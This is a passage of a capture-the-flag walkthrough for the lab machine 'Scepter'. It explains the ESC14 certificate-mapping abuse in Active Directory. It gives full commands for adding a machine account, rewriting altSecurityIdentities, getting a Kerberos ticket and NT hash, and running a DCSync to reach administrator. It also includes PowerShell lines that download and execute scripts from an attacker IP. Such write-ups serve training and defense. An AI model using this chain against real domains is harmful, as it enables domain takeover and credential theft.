The techniques involving altSecurityIdentities, like ESC9, was added after the original set of techniques published in Certified Pre-Owned: it’s numbered ESC14. The whole idea is that most of the “ESC” techniques rely on implicit mapping of object attributes onto certificate properties - we can confuse the CA in all kinds of ways to get it to write abusable certificates for us.

ESC14 is a little different, in that it relies on weak explicit mapping. We take a target (in this case p.adams), and explicitly set the altSecurityIdentities property to the value from an attacker-controlled certificate.

Once this explicit mapping is established, we can simply request to authenticate as the target user, providing our certificate as an authentication factor, and Kerberos should let us in 😂

Helpful references

While researching this topic, I found these sources especially helpful:

ESC14 Preconditions

Take a second look at the 4th Bloodhound screenshot and the screenshot of certificate json taken earlier - they give us an idea of what certificate to abuse (the Helpdesk Enrollment Certificate cannot be a mere coincidence, right?). We can use the information already collected to check-off the preconditions for ESC14:

✅ The target. We will go straight for p.adams, since they are the last user we haven’t utilized, and have a clear privesc vector (DCSync)

✅ Ability to directly or indirectly write altSecurityIdentities of the target. Yep, h.brown can do that!

❌ The “victim” - the entity who we’ll use to request the certificate that we’ll map the target’s altSecurityIdentities property.

Finding the victim

Assuming that the certificate template to use is HelpdeskEnrollmentCertificate, we don’t yet have a “victim” object. We noted earlier that the certificate template only allows Domain Computers to enroll… so we’ll have to make one!

I’ll make a new machine account / “computer” on the domain, to use as the “victim”:

faketime -f  '+8h' bloodyAD --host dc01.scepter.htb -d scepter.htb -k  add computer 'fourway' 'handshake'

But it doesn’t work:

failure to add domain computer

Huh? Unwilling to perform? Such insolence! Why are we getting this error? The typical reason is that the MAQ (machine account quota) is already used-up or set to 0, so let’s check that:

faketime -f '+8h' ldapsearch -Y GSSAPI -H ldap://dc01.scepter.htb -b "DC=scepter,DC=htb" "(objectClass=*)" ms-DS-MachineAccountQuota

In the first entry of the results, we can see that the MAQ (a domain-level property) is set to 0:

domain level MAQ

However, that doesn’t mean it’s impossible. In Active Directory, properties that are defined directly on an object always take precedence over inherited properties - and when one inherited property is “closer” than another inherited property, it will take precedence.

Ultimately, this means that we should check all compromised users, their groups, and their OUs, for some kind of “override” to the MAQ.

Note that we don’t need to re-check h.brown at all. We already know they aren’t an option. Likewise, there’s no need to recheck any of the groups that h.brown is in:

However, it’s sufficient just to check if any of the compromised users can do it (since their groups, containers, or OUs would provide a “closer” inheritance than domain-level policy)

Let’s check d.baker first:

faketime -f  '+8h' bloodyAD --host dc01.scepter.htb -d scepter.htb -u 'd.baker' -p ':18b5fb0d99e7a475316213c15b6f22ce'  add computer 'fourway' 'handshake'

d.baker failure to add domain computer

Nope - same problem. How about a.carter?

bloodyAD --host dc01.scepter.htb -d scepter.htb -u d.baker -p ':18b5fb0d99e7a475316213c15b6f22ce' set password 'a.carter' 'Cr0wCr0w'
bloodyAD --host dc01.scepter.htb -d scepter.htb -u a.carter -p 'Cr0wCr0w' add computer 'fourway' 'handshake'

adding new domain computer

😁 Got it! We were able to add a new Domain Computer.

The fact that one user is able to override the MAQ gives me a bit of hope that we’re on the right track…

We can check our work using another Bloodhound collection:

rusthound-ce -d 'scepter.htb' -f 'dc01.scepter.htb' -u 'a.carter' -p 'Cr0wCr0w' -z

added new domain computer

Recheck preconditions

✅ The target: p.adams. Excellent privesc opportunity from there.

h.brown has the ability to write altSecurityIdentities of the p.adams.

✅ ​The “victim”: our newly-created domain computer fourway. This is the entity that will enroll in HelpdeskEnrollmentCertificate. We’ll then map to this certificate from p.adams via the altSecurityIdentities property.

ESC14(a)

Note that ESC14 has 4 variants. We’re using ESC14(a). For more details, read the sources I linked earlier.

Strategy

Since the strategy has a few steps involved, I’ll once again number them to make a plan:

  1. Add a new domain computer using a.carter (done)
  2. Obtain the HelpdeskEnrollmentCertificate as our new domain computer.
  3. Transfer the resulting .pfx certificate to the target, so we can analyze it using powershell-based tools.
  4. Run certutil to extract the serial number (and issuer) from the certificate.
  5. Use the serial number and issuer to create a well-formatted X509 Issuer Serial Number string.
  6. Write the altSecurityIdentities of p.adams with this X509 Issuer Serial Number string.
  7. Request a TGT, using the certificate obtained in (2), producing the ASREP hash as a side-effect.

Execution

Note: for the following steps, I’ll be switching between the attacker host and the h.brown WinRM shell.

Step 1

This is already shown above, but for completeness I’ll repeat it here

bloodyAD --host dc01.scepter.htb -d scepter.htb -u d.baker -p ':18b5fb0d99e7a475316213c15b6f22ce' set password 'a.carter' 'Cr0wCr0w'
bloodyAD --host dc01.scepter.htb -d scepter.htb -u a.carter -p 'Cr0wCr0w' add computer 'fourway' 'handshake'
Step 2
certipy req -u "fourway$@scepter.htb" -p 'handshake' -ca scepter-DC01-CA -template HelpdeskEnrollmentCertificate

requesting pfx certificate for new domain computer

Step 3

Set up an HTTP server to serve the fourway.pfx file to the dc01.scepter.htb

cd C:\Users\h.brown\AppData\Local\Temp
curl "http://10.10.14.13:8000/fourway.pfx" -o .\fourway.pfx
Step 4

Tee the output into a file, so we can extract what we need afterwards:

certutil -Dump -v .\fourway.pfx | Tee-Object -FilePath 'dump.log'

certutil dump for serial number

Get the serial number and issuer as variables:

$SERIAL_NUMBER = (Select-String -Path dump.log -Pattern 'Serial Number:\s*([0-9a-f]+)').Matches[0].Groups[1].Value
$ISSUER = "CN=scepter-DC01-CA,DC=scepter,DC=htb"
Step 5

Load the Get-X509IssuerSerialNumberFormat.ps1 script into memory, then run it using our collected info

👇 Tip: wrapping the command in parentheses performs the variable assignment, but also echoes the result.

iex (New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/Get-X509IssuerSerialNumberFormat.ps1")
($altSecID = Get-X509IssuerSerialNumberFormat -SerialNumber "$SERIAL_NUMBER" -IssuerDistinguishedName "$ISSUER")
Step 6

Load the Add-AltSecIDMapping.ps1 script into memory, then use it to edit the altSecurityIdentites of p.adams

iex (New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/Add-AltSecIDMapping.ps1")
Add-AltSecIDMapping -DistinguishedName "CN=P.ADAMS,OU=HELPDESK ENROLLMENT CERTIFICATE,DC=SCEPTER,DC=HTB" -MappingString "$altSecID"
(Optional) check our work
Get-AltSecIDMapping -SearchBase "CN=P.ADAMS,OU=HELPDESK ENROLLMENT CERTIFICATE,DC=SCEPTER,DC=HTB"

changed altSecID successfully

This reflects the correct serial number, which we obtained in step 5 👍

Step 7

Finally, we can to the actual privesc to p.adams by requesting the certificate. Steps 1-6 have just been preparation for this:

PFX=/home/kali/Box_Notes/Scepter/loot/fourway.pfx
faketime -f '+8h' python3 gettgtpkinit.py -cert-pfx $PFX -dc-ip 'dc01.scepter.htb' 'scepter.htb/p.adams' '/home/kali/Box_Notes/Scepter/loot/p.adams.ccache'

got TGT as p.adams

😂 Alright! We got the TGT - we’ve now escalated privilege to p.adams.

Get the NT hash

Any time I get a TGT in this way, I like to also obtain the NT hash. It’s both convenient and useful.

Plus, it was only h.brown in the Protected Users group, so we should be able to utilize any other users’ NT hashes.

export KRB5_CONFIG=/home/kali/Box_Notes/Scepter/custom_krb5.conf
export KRB5CCNAME=/home/kali/Box_Notes/Scepter/loot/p.adams.ccache 
faketime -f '+8h' python3 getnthash.py -key $ASREP -dc-ip $RADDR 'scepter.htb/p.adams'

got p.adams NT hash

DCSync Attack

Earlier, when we initially gained a shell as h.brown we collected some Bloodhound data that revealed the final privesc vector:

BH final privesc

We’ve done the hard work of compromising p.adams, so it’s time to “cash-in our chips” and perform the final step, the DCSync attack.

There are lots of ways to dump NTDS, but this way is very convenient.

secretsdump.py -hashes ':1b925............118ce0' 'scepter.htb'/'p.adams'@'dc01.scepter.htb'

dumped all secrets

😆 There’s the administrator NT hash! Let’s use it to log in as administrator:

evil-winrm -i scepter.htb -u administrator -H 'a291ea.............ea21c4'

winrm as administrator

👌 Perfect - read the flag to finish off the box:

type C:\Users\administrator\Desktop\root.txt

CLEANUP

Target

I’ll get rid of the spot where I place my tools, /tmp/.Tools:

Remove-Item -Path "C:\Users\h.brown\AppData\Local\Temp\*" -Recurse -Force

Attacker

It’s a good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw rules:

NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;

LESSONS LEARNED

two crossed swords

Attacker

  • evil-winrm handles -i in a weird way. I’ve used both IP addresses and FQDNs with the evil-winrm -i switch before. It works fine. Until now, I always assumed that it would simply read my /etc/hosts file to translate the FQDN into an IP address, if that’s what was provided. On this box, I realized that that’s not the whole story: evil-winrm also uses the FQDN provided in -i as a way to query the Kerberos system! When logging into the h.brown (a member of Protected Users) we were forced to use the FQDN instead of just an IP address.

  • Check manually for writable objects. This is an important step to take right after gaining a shell as a new user. It’s useful to also check for indirect rights that can appear due to group membership. Excellent tools for this are bloodyAD, and dacledit with some bash scripting.

  • Check for AD CS abuse manually. Maybe it will have been corrected by the time this walkthrough is published, but the automated tools Certify and Certipy will both miss opportunities for ESC14. Likewise, they won’t show up in Bloodhound. It’s important to do a few manual checks, and try to spot interesting/odd attributes on the certificate templates.


Thanks for reading

🤝🤝🤝🤝
@4wayhandshake